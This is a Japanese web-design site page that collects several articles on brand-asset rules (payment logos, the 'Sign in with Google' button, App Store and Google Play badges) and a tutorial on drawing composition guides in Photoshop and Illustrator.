PayPay｜最小サイズが数値で明快・「ペイペイ」表記は禁止 PayPayは公式ブランドガイドライン（2024年12月版PDF）を公開しており、数値規定が4社の中で最も明快です。 ロゴ種類用途最小サイズ（デジタル）最小サイズ（印刷）ブランドロゴ1（横組み）プライマリ高さ12px高さ5mmブランドロゴ2（縦組み）プライマリ高さ20px高さ10mmブランドロゴ3（角型）ロゴ2が高さ20px以下になる場面のアクセプタンスマーク高さ12px高さ5mm クリアスペースはロゴ1・2で上下左右にロゴ高さの1/3、禁止事項は「斜め配置・変形・縦配置・一部使用・重ね配置・文章内配置・縁取り」などが図解付きで列挙されています。そしてPayPay特有のルールが表記です。ブランド名の和文表記は不可で、「ペイペイ」「ぺいぺい」という表記は利用禁止。テキストで書くときも欧文の「PayPay」だけが正解です。 4ブランド比較｜数値と特徴まとめ ブランド入手先最小サイズ（画面）クリアスペース特徴的なルールVisa加盟店向けブランドページDL資料で確認DL資料で確認オンライン加盟店は掲載義務・先頭配置推奨MastercardBrand Center（要ログイン）45px円1つの幅の1/4受入ブランドのみ表示JCB系加盟店ロゴページ（多ブランド一括）ブランド別ブランド別（iD=横幅1/10等）複数ロゴは同サイズ・回転禁止PayPay公式ガイドラインPDF12px／20pxロゴ高さの1/3「ペイペイ」表記禁止 ブランドごとに数値はバラバラですが、「公式配布・契約ブランドのみ・無改変」の3原則だけはどこでも共通です。個別数値は実装時にこの表と各公式ページで確認してください。 よくある違反パターン｜決済ページで踏みやすい地雷 やりがちな実装判定抵触する規定未契約ブランドのロゴも「見栄え」で並べるNG未契約ブランドの使用禁止（JCB明文）・受入ブランドのみ表示（Mastercard）素材サイト配布のカードブランドアイコンを使うNG公式配布アートワークのみ（各社共通）モノトーンのデザインに合わせてロゴをグレー化NG色変更の禁止（各社共通）自社ブランドだけ大きく、他は小さく並べるNG複数ロゴは同じ大きさ（JCB）キャンペーンバナーの文中にロゴ画像を埋め込むNG文章内配置の禁止（JCB・PayPay）「ペイペイ使えます」とカタカナで表記NG和文表記の禁止（PayPay）契約ブランドの公式ロゴを同サイズ・無改変で並べるOK各社規定の範囲内 とくに未契約ブランドの掲載は、「うちは使えると誤認させる表示」なのでユーザーへの実害も伴います。決済ページの実装前に、契約ブランドの一覧を発注者に確認する工程を必ず挟んでください。 よくある質問 Q. 導入予定のブランドのロゴを先に載せておいてもいいですか？ できません。表示できるのは実際に契約し受け入れているブランドのマークだけで、未契約ブランドのロゴ使用はJCBが明文で禁止し、Mastercardも受入ブランドのみの表示を条件にしています。導入が完了してから掲載してください。 Q. 決済ブランドのロゴはどこから入手するのが正解ですか？ 各社の公式配布ページからです。日本のEC事業者ならJCBの加盟店ロゴページが起点として便利で、契約ブランドのWebサイト掲載用ロゴを複数ブランドまとめて入手できます。VisaとMastercardは各社のブランドページ、PayPayは公式ブランドガイドラインPDFが正規ルートです。素材サイトのアイコンは公式配布物ではないため使えません。 Q. ロゴの色をサイトのデザインに合わせて変えられますか？ 変えられません。色・比率・デザイン・文字の変更や回転は各社とも禁止しており、認められるのは縦横比を固定した拡大縮小だけです。モノトーンのデザインに合わせたグレースケール化も改変にあたります。デザインの調整はロゴではなく周囲のレイアウトで行ってください。 Q. 複数のブランドを並べるときの順番やサイズに決まりはありますか？ サイズはJCBが「全ロゴを同じ大きさに揃える」ことを求めています。順番については、Visaが自社を先頭に置くことを推奨していますが、これは推奨であって義務ではありません。実務上は「同サイズで整列・特定ブランドの特別扱いをしない」が安全な設計です。 Q. Webサイト用のロゴを印刷物にも使えますか？ ブランドによります。JCBの加盟店ページで配布されるのはWebサイト掲載用のみで、印刷物用データは加盟店デスクへの申請が必要です。PayPayは印刷用の最小サイズ（ロゴ1で高さ5mm等）が別に規定されています。媒体が変わるときは、その媒体用の規定とデータを確認し直してください。 Q. 「ペイペイが使えます」とテキストで書くのは問題ありませんか？ カタカナ表記が問題です。PayPayのブランドガイドラインは和文表記を不可とし、「ペイペイ」「ぺいぺい」の表記を明確に禁止しています。テキストで案内する場合も欧文の「PayPay」を使ってください。 まとめ 決済ブランドロゴの掲載ルールは、「公式配布のマークを・契約ブランドだけ・無改変で」の3原則に集約されます。 ### [「Googleでログイン」ボタンの使用ルール｜Gロゴの色変え・自作アイコンは規約違反です](https://codequest.work/google-signin-button-guideline/) 「Googleでログイン」ボタンは、Googleのブランドガイドラインに従って表示する義務があります。Gロゴのサイズや色を変えること、自作のGoogleアイコンを使うこと、ロゴを枠なしで単独使用すること——どれも規約違反です。 ソーシャルログインの実装で、ボタンの見た目を自前で作っているサイトは少なくありません。しかしGoogleのサインインボタンには、色・形・フォント・余白・ロゴの扱いまで細かい規定があり、カスタムボタンを作る場合もこの規定をすべて満たす必要があります。デザインの自由度があると思っていた部分が、実は規約で埋まっているのです。 この記事では、Googleの「Sign in with Google branding guidelines」（2026年7月7日更新の現行版）を直接確認し、色のHEX値・余白のpx値まで含めた規定の中身と、公式SDKとカスタム実装の使い分けを整理します。OAuth自体の実装手順ではなく、「見た目のルール」に絞った内容です。 結論｜公式SDKに描画させるのが最も安全 先に実務の結論です。Googleのサインインボタンには2つの用意の仕方があり、リスクの大きさがまったく違います。 方法ガイドライン準拠向いているケース公式SDK（Google Identity Services）にボタンを描画させる常に最新規定に準拠ほとんどのサイト・アプリカスタムボタンを自作する色・フォント・余白・ロゴの全規定を自分で守る必要デザインシステム上どうしても統一が必要な場合のみ ガイドラインは改訂されます（現行版も2026年7月7日更新）。公式SDKに描画させていれば追従は自動ですが、カスタムボタンは改訂のたびに自分で追従する責任を負います。迷ったらSDK描画——これがこの記事の一番大事な結論です。 Sign in with Google ブランドガイドラインとは 規定の本体は、Google IdentityのSign in with Google branding guidelinesです。サインインボタンの色・形状・フォント・余白・Gロゴの扱い・CTAテキストまで、表示に関するルールがこの1ページに集約されています。 ポイントは、これが「推奨」ではなく遵守すべき規定だという点です。カスタムボタンで実装する場合も、ここに書かれたサイズ・テキスト・色・フォント・パディング・Gロゴの条件を満たすことが求められます。ブランド資産の扱いという意味では、SNSロゴの掲載ルールと同じ発想で「公式の規定に従う部品」として扱うのが正解です。 ボタンは3テーマ｜Light・Neutral・Darkの色指定 ボタンの配色は自由に決めるものではなく、公式が定義する3テーマから選びます。HEX値まで指定されています。 テーマ塗り枠線文字色Light#FFFFFF#747775（内側1px）#1F1F1FNeutral#F2F2F2なし#1F1F1FDark#131314#8E918F#E3E3E3 ダークUIのサイトならDarkテーマ、ライトUIならLightかNeutral——選べるのはここまでで、この3テーマ以外の配色（ブランドカラーで塗ったボタンなど）は規定外です。「うちのサイトはベージュ基調だからボタンもベージュに」はできません。 形状・フォント・余白の規定 形は「長方形」と「pill（角丸カプセル型）」の2種、表示は「テキスト付きの標準モード」と「Gロゴだけのアイコンモード」の2種が、全テーマで用意されています。この組み合わせの範囲内で選ぶ分には自由です。 一方、フォントと余白は数値で固定されています。フォントはGoogle Sans Medium（Google Fontsからローカルインストールして使用）。パディングはプラットフォームごとに次のとおりです。 プラットフォーム左端〜GロゴGロゴ〜テキストテキスト〜右端Web・Android12px10px12pxiOS16px12px16px カスタムボタンを作る場合、CSSで再現するのはこの数値です。「だいたい同じ見た目」ではなく、規定値そのものを実装してください。 ボタンの文言ルール｜「Googleでログイン」は使える ボタンに載せるCTAテキストとして推奨されているのは次の3種です。 Sign in with Google｜サインイン（ログイン）用の基本形です。 Sign up with Google｜新規登録の文脈で使います。 Continue with Google｜ログインと登録を分けないフローで使います。 これらはローカライズが認められているため、日本語サイトで「Googleでログイン」「Googleで続行」と表記するのは問題ありません。一方で、「Google」という単語だけをボタンに置いてサインイン機能を表すことは認められていません。必ず「何をするのか＋with Google」の形にしてください。 Gロゴの禁止事項｜サイズ・色の変更は一切不可 ボタンの中の「G」ロゴには、ガイドラインで最も厳しい規定がかかっています。 Regardless of the text, you can't change the size or color of the Google "G" logo. It must be the standard color version (the standard color gradient super G logo) and appear on a white background.（＝テキストが何であっても、Googleの「G」ロゴのサイズや色を変更することはできない。標準カラー版（標準のカラーグラデーションのスーパーGロゴ）を使用し、白背景の上に表示しなければならない。訳は筆者による） Google「Sign in with Google branding guidelines」 あわせて、次の使い方も明文で禁止されています。 ロゴの単独使用｜ボタンの枠やテキストなしで、Gロゴだけを置くことは不可です。 モノクロ化｜白黒・単色のGロゴは使えません。標準の4色版のみです。 色付き背景への直置き｜Gロゴを置けるのは白背景の上だけです（3テーマのボタン内では白いタイルの上に配置されます）。 自作アイコン・旧ロゴ｜独自に描いたGoogleアイコンや、旧デザインの「G」の使用は不可です。 デザイン上ありがちな「アイコンを全部モノトーンに統一する」処理は、Gロゴに対しては規約違反になります。SNSアイコンの一括グレースケール化と同じ落とし穴なので、フッターやログイン画面のデザインシステムを組むときは例外扱いを忘れないでください。 他社ログインボタンと並べるときの同等表示ルール Apple・LINEなど複数のソーシャルログインを並べる場合のルールもあります。ガイドラインは、Googleのサインインボタンを他のサインイン手段と同等に目立たせること——おおよそ同じサイズ・同等の視覚的な重みで表示すること——を求めています。 つまり「メインはメール登録なのでGoogleボタンは小さく灰色で」という設計は規定に反します。ソーシャルログインを置くと決めたら、並べるボタンはすべて同格に扱うのがレイアウト設計の前提になります。 公式SDKとカスタム実装の使い分け 冒頭の結論に戻ります。Google Identity Servicesにボタンを描画させれば、テーマ・形状・文言をオプションで選ぶだけで、ここまで挙げた規定すべてに準拠したボタンが表示されます。ガイドラインが改訂されても、SDK側の更新に追従するだけです。 カスタムボタンが正当化されるのは、デザインシステムの制約で公式レンダリングが使えない場合くらいです。その場合のチェック項目は「3テーマの配色・Google Sans Medium・規定パディング・標準カラーのGロゴを白背景タイルに」の4点セットになります。なお、ログイン機能そのものの実装（認証フロー・セッション管理）はPHPで作るログインシステムの解説で扱っています。この記事はあくまで見た目の規約側です。 よくある違反パターン｜ログインUIで踏みやすい地雷 やりがちな実装判定抵触する規定サイトのブランドカラーでボタンを塗るNG配色はLight/Neutral/Darkの3テーマのみGロゴをグレー1色にしてアイコン列に統一NGモノクロG禁止・標準カラー版のみGロゴだけをボタン枠なしで配置NGロゴ単独使用の禁止ボタンラベルを「Google」だけにするNG「Google」単独でサインインを表すことの禁止Googleボタンだけ小さく・薄く表示NG他のサインイン手段との同等表示「Googleでログイン」と日本語ラベルにするOKCTAテキストのローカライズは許可pill形状・アイコンモードを選ぶOK公式が用意する形状・モードの範囲内 共通するのは「Googleの部品を自分のデザインに寄せようとする」方向の失敗です。ストアバッジやSNSロゴと同じく、調整するのはボタンではなく周囲のレイアウト——この原則で設計してください。 よくある質問 Q. サインインボタンを自作（カスタム実装）してもいいですか？ 可能ですが、ブランドガイドラインの規定（3テーマの配色・Google Sans Medium・規定のパディング・標準カラーのGロゴを白背景に）をすべて満たす必要があります。規定を守る責任と改訂への追従責任を自分で負うことになるため、特別な事情がなければ公式SDK（Google Identity Services）にボタンを描画させるのが安全です。 Q. Gロゴの色をサイトのデザインに合わせて変えられますか？ 変えられません。ガイドラインは「Gロゴのサイズ・色は変更できない。標準カラー版を白背景の上に表示する」と明記しています。モノクロ化や単色化も禁止です。アイコンを一括でモノトーン処理するデザインシステムでは、Gロゴだけ例外扱いにする必要があります。 Q. ボタンの文言を「Googleでログイン」と日本語にしてもいいですか？ 問題ありません。推奨文言（Sign in with Google／Sign up with Google／Continue with Google）はローカライズが認められており、「Googleでログイン」「Googleで続行」はその日本語版にあたります。一方、「Google」という単語だけでサインイン機能を表すことは認められていません。 Q. Gロゴだけのアイコンボタンは使えますか？ 公式が用意する「アイコンモード」のボタンとしてなら使えます。禁止されているのは、ボタンの枠やテキストを持たない裸のGロゴを単独で置くことです。スペースが限られる場面では、自作でロゴだけ切り出すのではなく、アイコンモードのボタンを選んでください。 Q. ダークテーマのサイトではどう表示すればいいですか？ 公式のDarkテーマ（塗り#131314・枠線#8E918F・文字#E3E3E3）を使います。ダークだからといってGロゴを白抜きにしたり暗色背景に直置きしたりはできず、Gロゴは標準カラー版が白いタイルの上に載る構成のままです。3テーマの範囲で選ぶのが唯一の正解です。 Q. Appleのログインボタンと並べるときの注意はありますか？ Googleのガイドラインは、他のサインイン手段とおおよそ同じサイズ・同等の視覚的な重みで表示することを求めています。特定のボタンだけ大きくしたり、Googleボタンだけ控えめにしたりする設計は規定に反します。並べるソーシャルログインは同格にそろえるのが前提です。 まとめ 「Googleでログイン」ボタンは、見た目の細部までGoogleのブランドガイドラインで規定された部品です。 ### [App Store・Google Playバッジの掲載ルール｜「App Store」を日本語に訳すのは規約違反です](https://codequest.work/app-store-google-play-badge-guideline/) App StoreとGoogle Playのダウンロードバッジは、AppleとGoogleが配布する公式アートワークをそのまま使うことだけが認められています。色を変える、要素を削る、「App Store」の文字を日本語に訳す——どれも公式ガイドライン違反です。 アプリの紹介ページやLPを作るとき、バッジをサイトのデザインに合わせて加工したくなる場面は必ず来ます。しかし両社のガイドラインは改変を明確に禁じており、しかも規定の中身は「AppleとGoogleで微妙に違う」のが厄介なところです。日本語の解説記事には、移転前の古い入手先URLや、規約上ありえない「日本語化バッジ」の作例も残っています。 この記事では、Appleの「App Store Marketing Guidelines」とGoogle Playの公式ブランドガイドラインを直接確認し、確認できた事実と、公式に数値が見つからなかったことを明確に分けて整理します。アプリ開発者はもちろん、クライアントのアプリ紹介ページを作るWeb制作者にも関わる内容です。 結論｜公式配布バッジのみ使用可、改変は一切禁止 まず両社共通の大原則です。バッジは自分でトレースして作るものではなく、各社の公式配布ページからダウンロードした正規データを、規定サイズ以上・規定の余白付きで、そのまま置く——これが唯一の正解です。 項目App StoreGoogle Play使えるバッジ公式配布アートワークのみ公式配布アートワークのみ改変禁止（変形・傾け・アニメ化も不可）禁止（色変更・要素の削除も不可）バッジ周囲の余白バッジ高さの1/4バッジ高さの1/4 この「公式アセットをそのまま使う」という構図は、SNSロゴの掲載ルールとまったく同じです。ブランド資産の扱いを一度整理しておきたい方は、SNSロゴをホームページに掲載する前に必ず確認すべきこともあわせてどうぞ。 ストアバッジとは｜「Download on the App Store」と「Get it on Google Play」 ストアバッジとは、アプリの配信ページへ誘導するために各社が用意している公式のリンクボタン画像です。ユーザーが「このバッジを押せばストアに飛べる」と学習している、いわば共有インフラのようなUIパーツです。 App Storeバッジ｜「Download on the App Store」。配信前のアプリ向けに「Pre-order on the App Store（予約注文）」版も用意されています。 Google Playバッジ｜「Get it on Google Play」。多言語のローカライズ版が公式に提供されています。 「共有インフラ」であることが、自作が禁止される理由そのものです。誰かが色や形を変えたバッジを置き始めると、ユーザーが本物のバッジを識別できなくなります。だからこそ両社とも公式配布のアートワーク以外の使用を認めていません。見た目をそっくりに作っても、正規のバッジではないという扱いになります。 App Storeバッジの入手方法｜Marketing Toolsからダウンロードする App Storeバッジの正規入手先は、AppleのApp Store Marketing Toolsです。掲載ルールの本体はApp Store Marketing Guidelinesにまとまっています。 日本語バッジは「ある」、ただし「App Store」は英語のまま バッジのローカライズには明確な線引きがあります。「Download on the」「Pre-order on the」にあたる修飾部分は各言語版が公式に提供されますが、サービスマークである「App Store」の部分は例外です。 The service mark App Store always appears in English. Never translate App Store or create your own localized badge.（＝サービスマーク「App Store」は常に英語で表記される。「App Store」を翻訳したり、独自のローカライズ版バッジを作ったりしてはならない。訳は筆者による） Apple「App Store Marketing Guidelines」 つまり日本語対応は「翻訳された修飾語＋英語の App Store」という公式の組み合わせだけです。「アップストアでダウンロード」のような全訳バッジを自作することは明文で禁止されています。この記事のタイトルに掲げた違反が、まさにこれです。 App Storeバッジのサイズ・余白ルール Appleは数値をはっきり定めています。ガイドラインに明記されているのは次の2点です。 項目画面（Web・アプリ）印刷物最小サイズ（バッジの高さ）40px10mmクリアスペース（周囲の余白）バッジ高さの1/4（スペースが極端に限られる場合のみ1/10まで許容） 実装時の注意はひとつです。40pxは「これ未満にしてはいけない」下限であって、推奨サイズではありません。高解像度ディスプレイでの滲みを避ける意味でも、レイアウトが許す範囲で余裕を持ったサイズで置き、周囲の余白（高さの1/4）を他の要素で侵さないことを優先してください。 App Storeバッジの禁止事項｜改変・傾け・アニメ化はすべて不可 ガイドラインのDon'tsは簡潔です。 Don't modify, angle, or animate the App Store badge.（＝App Storeバッジを改変したり、傾けたり、アニメーションさせたりしてはならない。訳は筆者による） Apple「App Store Marketing Guidelines」 改変禁止｜色変更・形状変更・要素の削除など、配布データへの手入れは一切不可です。 傾け・アニメ化禁止｜デザイン演出として斜めに置いたり、ホバーで動かしたりするのも明文で禁止されています。 Appleロゴを「Apple」の代替にしない｜文章中で「Apple」と書くべき箇所をリンゴマークで置き換えることも禁止されています。 なお、この記事はあくまで「バッジの掲載」のルールに絞っています。App Storeの手数料やSmall Business Programといった配信条件の話は、Appleの手数料が15%になるSmall Business Programの解説で整理しています。 Google Playバッジの入手方法｜Partner Marketing Hubからダウンロードする Google Playバッジの現在の正規入手先は、GoogleのPartner Marketing Hub（バッジガイドライン）です。開発者向けの要点はAndroid Developers のブランドガイドライン（2026年2月26日更新）にもまとまっています。 古い解説記事でよく案内されているバッジ配布ページ（play.google.com/intl/ja/badges/ などのintl付きURL）は、現在Partner Marketing Hubへリダイレクトされます。バッジは多言語のローカライズ版が提供されており、公式はマーケティング展開の言語に合わせたローカライズ版の使用を推奨しています。 ひとつ正直に書いておくと、かつて紹介されていた「クリック数回でバッジを生成できるジェネレーター」の現行仕様は、今回の調査では公式ページ上で明示的に確認できませんでした。確実なのは、Partner Marketing Hubから配布データを直接ダウンロードするルートです。 Google Playバッジのルールと禁止事項 クリアスペースはAppleと同じくバッジ高さの1/4です。一方、最小サイズについては「画面用・印刷用それぞれに最小サイズの規定に従うこと」と書かれているものの、公式ページの本文に具体的なpx値・pt値は記載されていません。数値はPartner Marketing Hubで配布されるガイドライン資料側で確認する必要があります。「Google Playは最小◯px」と断定している解説を見かけたら、出典を疑ってください。 禁止事項（Don'ts）は図解付きで列挙されています。要約すると次のとおりです。 旧バージョンのバッジを使わない｜デザイン刷新前のバッジの使い回しは違反です。 色を変えない｜サイトのトーンに合わせた着色は不可です。 要素を削除・並べ替えしない｜Google Playのアイコンや文字を取り出して再構成することは不可です。 低解像度・判読不能なサイズで使わない｜文字が読めないほど縮小した掲載は違反です。 ワードマークやアイコンだけ拡大縮小しない｜バッジ内の一部要素のスケール変更は不可です。 もうひとつ、名称そのものにも条件があります。Android Developersのブランドガイドラインは、「Google Play」の名称とストアアイコンの使用を「Google Playへのアクセスをライセンスされたデバイスとの関連」に限ると定めています。Google Play非対応の環境向けアプリの紹介で名称やアイコンを流用しない、という点も頭に入れておきましょう。 両ストア比較｜共通点と相違点まとめ 項目App StoreGoogle Play入手先App Store Marketing ToolsPartner Marketing Hub最小サイズ高さ40px（印刷10mm）と明記規定あり（本文に数値記載なし・配布資料で確認）クリアスペース高さの1/4（極小時1/10）高さの1/4日本語対応修飾語のみ翻訳。「App Store」は英語固定・自作ローカライズ禁止ローカライズ版バッジを公式提供特徴的な禁止事項傾け・アニメ化の明文禁止旧版バッジ使用・一部要素のスケール変更の明文禁止 覚え方はシンプルです。共通点は「公式配布のみ・改変禁止・余白は高さの1/4」。相違点は「Appleは数値が明快、Googleはローカライズが手厚い」。この1行を押さえておけば、実装時の判断はほぼ迷いません。 よくある違反パターン｜アプリ紹介ページで踏みやすい地雷 実際の制作現場でやってしまいがちなパターンを、根拠となる規定とセットで整理します。 やりがちな実装判定抵触する規定「アップストアでダウンロード」等の日本語訳バッジを自作NG「App Store」の翻訳・自作ローカライズ禁止（Apple）ダークデザインに合わせてバッジの色を変更NG改変禁止（Apple）／色変更禁止（Google）ファーストビューの演出でバッジを斜め配置・ふわふわアニメNG傾け・アニメ化禁止（Apple）昔の案件から旧デザインのバッジ画像を流用NG旧バージョン使用禁止（Google）ボタン2つを詰めて並べて余白ゼロNGクリアスペース高さ1/4（両社）フッターに高さ20px程度で極小掲載NG最小高さ40px（Apple）／判読不能サイズ禁止（Google）公式配布のローカライズ版（日本語修飾語）バッジを使うOK公式提供の範囲内 特に多いのが色変更と余白潰しです。バッジは「デザイン要素」ではなく「規約付きの部品」として扱い、調整するのはバッジ本体ではなく周囲のレイアウト——これが安全な設計方針です。 よくある質問 Q. 日本語版のストアバッジはありますか？ あります。ただし範囲が違います。App Storeバッジは「Download on the」にあたる修飾部分のみ日本語版が提供され、「App Store」の文字は常に英語のままです。Google Playバッジは多言語のローカライズ版が公式提供されており、掲載面の言語に合わせて使うことが推奨されています。どちらも自分で翻訳版を作ることは認められていません。 Q. バッジを自作したり色を変えたりしてもいいですか？ できません。 ### [デザインガイド【構図・配色・効率化ツールまとめ】](https://codequest.work/design-guide/) バナー・Webデザインの構図パターンから、黄金比などのデザイン理論、配色・作業効率化の無料ツールまで、「感覚ではなく理屈で組み立てるデザイン」の知識を体系的にまとめたガイドページです。 「要素をなんとなく配置している」「色選びに時間がかかる」「Photoshopでガイドをどう引けばいいかわからない」——こうした悩みの多くは、構図と配色の“型”を知らないことが原因です。型を先に覚えれば、迷う時間が減り、仕上がりの説得力も上がります。 このページは「構図の基本 → デザインの基礎・設計ルール → 時短ツール」の順に並んでいます。はじめての方は構図の基本から順に、制作中の方は課題に合ったセクションから読み進めてください。 構図の基本 三分割法・対角線・日の丸構図といった視線誘導の型と、黄金比・白銀比などの比率理論。バナーにもWebデザインにも共通する土台です。 バナーデザインの構図パターン — 三分割・対角線・日の丸で視線を操る基礎。型の選び方から解説 Photoshop・Illustratorで構図を再現する方法 — 三分割グリッドや黄金比ガイドの具体的な引き方 黄金比・白銀比・白金比の使い方 — バナーやロゴに応用できる比率のデザイン理論 Webデザインの基礎と設計ルール 構図とあわせて押さえたい、デザイン全体の基礎原則と、カンプ制作前に決めておくべき数値のルール。 Webデザインの基礎点検 — 作り終えた画面を症状から逆引きし、領域ごとに合否ラインで測る デザインカンプ前に決めるWebデザインのルール — ウィンドウ幅・コンテンツ幅・カラム設計の決め方 Webデザインの参考サイトの探し方 — 探せる単位で使い分け、共通構造を抜き出してワイヤーに落とす手順 構造・視覚・文字を守れたか検品する — 色を抜く／ぼかすなど3つのテストで作ったものを確かめる デザイン作業を速くする無料ツール 配色・グラデーション・ショートカットの3領域を、ブラウザだけで使える無料ツールと使い方ガイドで時短できます。 色の辞書の使い方 — 日本の伝統色とCSS名前付き色を由来から引ける色辞典ツール CSSグラデーションジェネレーターの使い方 — linear/radial/conic対応・伝統色プリセット内蔵の生成ツール ショートカットキー チートシートの使い方 — Photoshop・Illustrator・Figmaなどアプリ別一覧と自分専用マイ一覧 関連ガイド デザインをコードに落とし込む段階では、模写コーディングやCSSの実装テクニックが役立ちます。 模写コーディング一覧 — 初級〜上級・Figma模写でデザインの観察力と実装力を鍛える CSS実装テクニック集 — 基礎・レイアウト・アニメーション・設計手法を体系化 サイト構造の設計手順 — ページ洗い出しから階層を組み立てる情報設計のやり方 配色に迷ったときは、記事を経由せず 色の辞典 から直接色を探すこともできます。 グラデーションのCSSをすぐ作りたい方は 和の色グラデーションをご活用ください。 ### [Photoshop・Illustratorで構図を再現する方法｜三分割グリッド・ガイドの引き方](https://codequest.work/photoshop-illustrator-composition-guides/) PhotoshopもIllustratorも、標準機能だけで三分割法や黄金比の構図ガイドを引けます。Photoshopは表示メニューの「新規ガイドレイアウトを作成」、Illustratorは「グリッドに分割」＋ガイド化（command＋5）が入口で、どちらも数クリックで再現できます。 構図の理論はわかったのに、いざツールを開くと目分量で配置してしまう——バナーの構図が崩れる原因の大半は、ガイドを引かずに作り始めることにあります。ガイドさえ先に引いておけば、要素を「置くべき場所」へスナップさせるだけで構図が再現できます。 この記事では、三分割法・黄金比・対角線などの構図ガイドをPhotoshopとIllustratorで引く手順を、メニュー操作の順番どおりに解説します。仕上げに、整列・分布機能での視線誘導の実装と、バナーサイズ別のテンプレ化まで扱います。 はじめに：構図の「型」は理論編で 本記事は操作編です。三分割法・日の丸・対角線といった構図の種類と使い分け——「どの構図をいつ選ぶか」——は、理論編のバナーデザインの構図パターン｜三分割・対角線・日の丸で視線を操る基礎で図解つきで解説しています。型をまだ押さえていない方は、先に理論編を読んでから戻ってくると手順の意味がすっと入ります。 ここから先は「構図は決まっている。あとはツール上で正確に再現したい」という前提で、Photoshop→Illustratorの順に手順だけを積み上げていきます。 なお本記事の手順は、PhotoshopとIllustratorの実画面を前提にしています。手元に無い場合はどちらも7日間の無料体験から試せます（Adobe公式のプラン一覧）。 Photoshop：三分割グリッドを一発で引く ゴール：この三分割グリッドをガイドとして引く Photoshopで三分割ガイドを引く最短ルートは「新規ガイドレイアウトを作成」です。手動でガイドを4本ドラッグする必要はありません。 バナーのカンバスを開き、メニューの「表示」→「新規ガイドレイアウトを作成」を選ぶ ダイアログで「列」にチェックを入れて数を「3」、間隔は空欄（0）にする 「行」にもチェックを入れて数を「3」、間隔は空欄にする OKを押すと、カンバスが縦横3等分されたガイドが一括で引かれる 「表示」→「ガイドをロック」でガイドを固定してから制作を始める ダイアログの「プリセットを保存」を使えば、この3×3設定を名前付きで保存でき、次回からワンクリックで呼び出せます。ガイドの表示・非表示はcommand＋;（WindowsはCtrl＋;）で切り替えられます。詳細な仕様はAdobe公式の「ガイドとグリッド」ヘルプにまとまっています。 Photoshop：切り抜きツールのオーバーレイで構図を確認する 写真素材のトリミング段階なら、ガイドを引くより切り抜きツールのオーバーレイ表示が速い方法です。切り抜き枠の中に構図線を重ねて表示しながらトリミング位置を調整できます。 切り抜きツール（ショートカットC）を選ぶ オプションバーのオーバーレイ設定から「三分割」を選ぶ（初期設定も三分割） 切り抜き枠を調整し、被写体の主役が交点に乗る位置でトリミングを確定する オーバーレイは三分割のほかに「グリッド」「対角」「三角形」「黄金比」「ゴールデンスパイラル」が用意されており、切り抜き中にOキーを押すと順番に切り替えられます。バナーに使う写真の「どこを見せるか」をこの段階で構図に沿わせておくと、配置後の調整が激減します。 Photoshop：対角線・シンメトリーのガイドを作る 対角線はガイドでは引けないため、ラインシェイプで作る Photoshopの標準ガイドは水平・垂直のみで、斜めのガイドは引けません。対角線構図の補助線が欲しいときは、ラインツールで対角線のシェイプレイヤーを作り、ガイド代わりに使います。 ラインツールでカンバスの角から対角の角までドラッグして線を引く（2本） 線のレイヤーをグループ化して「構図ガイド」と名前を付ける グループをロックし、書き出し前に非表示にする シンメトリー構図の中心軸は標準ガイドで対応できます。「表示」→「新規ガイド」で方向を「垂直方向」、位置を「50%」と入力すれば、カンバス中央に正確な軸が引けます。位置は%指定できるので、38.2%・61.8%と入力すれば黄金比の分割線も作れます。 Illustrator：三分割ガイドを引く Illustratorには「新規ガイドレイアウト」に相当する機能がない代わりに、「任意のパスをガイドに変換できる」という強力な仕組みがあります。三分割は「グリッドに分割」と組み合わせるのが定番です。 長方形ツールでアートボードと同じサイズの長方形を描く（X・Y座標を0にして揃える） 長方形を選択したまま「オブジェクト」→「パス」→「グリッドに分割」を選ぶ 行の段数「3」・列の段数「3」・間隔はどちらも「0」にしてOK 分割された9つの長方形を選択したまま「表示」→「ガイド」→「ガイドを作成」（command＋5／WindowsはCtrl＋5） 「表示」→「ガイド」→「ガイドをロック」で固定する これでアートボードが3×3に分割されたガイドになります。ガイドの仕様や解除方法はAdobe公式の「定規、グリッド、ガイド」ヘルプを参照してください。 Illustrator：黄金比・対角線のガイドを作る ファイ・グリッド：分割線を38.2%・61.8%の位置に置く 三分割の分割位置を黄金比（38.2%・61.8%）に寄せたものがファイ・グリッドです。Illustratorでは位置を数値入力できるので、正確に再現できます。 アートボードの幅×0.382と幅×0.618を計算する（幅1200pxなら458pxと742px） 直線ツールで垂直線を2本描き、変形パネルでX座標に計算した値を入力する 高さ方向も同様に高さ×0.382・×0.618の位置へ水平線を2本置く 4本の線を選択してcommand＋5でガイド化し、ロックする 黄金螺旋（ゴールデンスパイラル）：渦の中心が視線の終点 黄金比のもうひとつの定番が黄金螺旋（ゴールデンスパイラル）です。黄金比の長方形を正方形で分割し続けると生まれる渦で、視線が渦の中心へ自然に収束します。Photoshopなら切り抜きツールのオーバーレイ「ゴールデンスパイラル」でそのまま表示でき、Illustratorでは上図のように分割スクエアを描いてからcommand＋5でガイド化すれば再現できます。渦の中心に主役（商品・顔・CTA）を置くのが使い方の基本です。 対角線も同じ要領で、アートボードの角と角を結ぶ直線を描いてcommand＋5を押すだけです。Photoshopと違って斜線も円もそのままガイドにできるのがIllustratorの強みで、曲線構図の補助線まで作れます。なお黄金比・白銀比をどの場面で使うべきかという判断は黄金比・白銀比・白金比の使い方で解説しています。 整列・分布で視線誘導を実装する（両ツール共通） ガイドが「置く場所」を決める道具なら、整列・分布は「置いた要素をズレなく揃える」道具です。構図線に載せたつもりでも数ピクセルずれていると、視線の流れが濁ります。目視ではなく機能で揃えます。 Photoshop：移動ツール（V）で複数レイヤーを選択すると、オプションバーに整列・分布ボタンが出る Illustrator：「ウィンドウ」→「整列」（shift＋F7）で整列パネルを開く。基準にしたいオブジェクトをもう一度クリックすると「キーオブジェクトに整列」になる 等間隔に並べる要素（特典3つ・ステップ3段階など）は、手動で置かず「分布」で間隔を揃える 視線誘導との組み合わせは「Z型の終点＝右下にCTAを整列で固定し、途中に置く要素は等間隔で分布させてリズムを作る」が基本形です。等間隔のリズムが視線を運び、終点のCTAで止まります。 バナーサイズ別にテンプレ化する 構図ガイドは毎回引き直すものではなく、一度作って使い回すものです。よく作るバナーサイズごとに、ガイドを引いた状態のファイルをテンプレとして保存しておきます。 Photoshop：ガイドレイアウトのプリセット保存に加え、三分割ガイドを引いたPSDを「テンプレ」フォルダに保存し、複製から制作を始める Illustrator：「ファイル」→「テンプレートとして保存」で.ait形式にすると、開くたびに未保存の新規ドキュメントとして立ち上がり、上書き事故を防げる 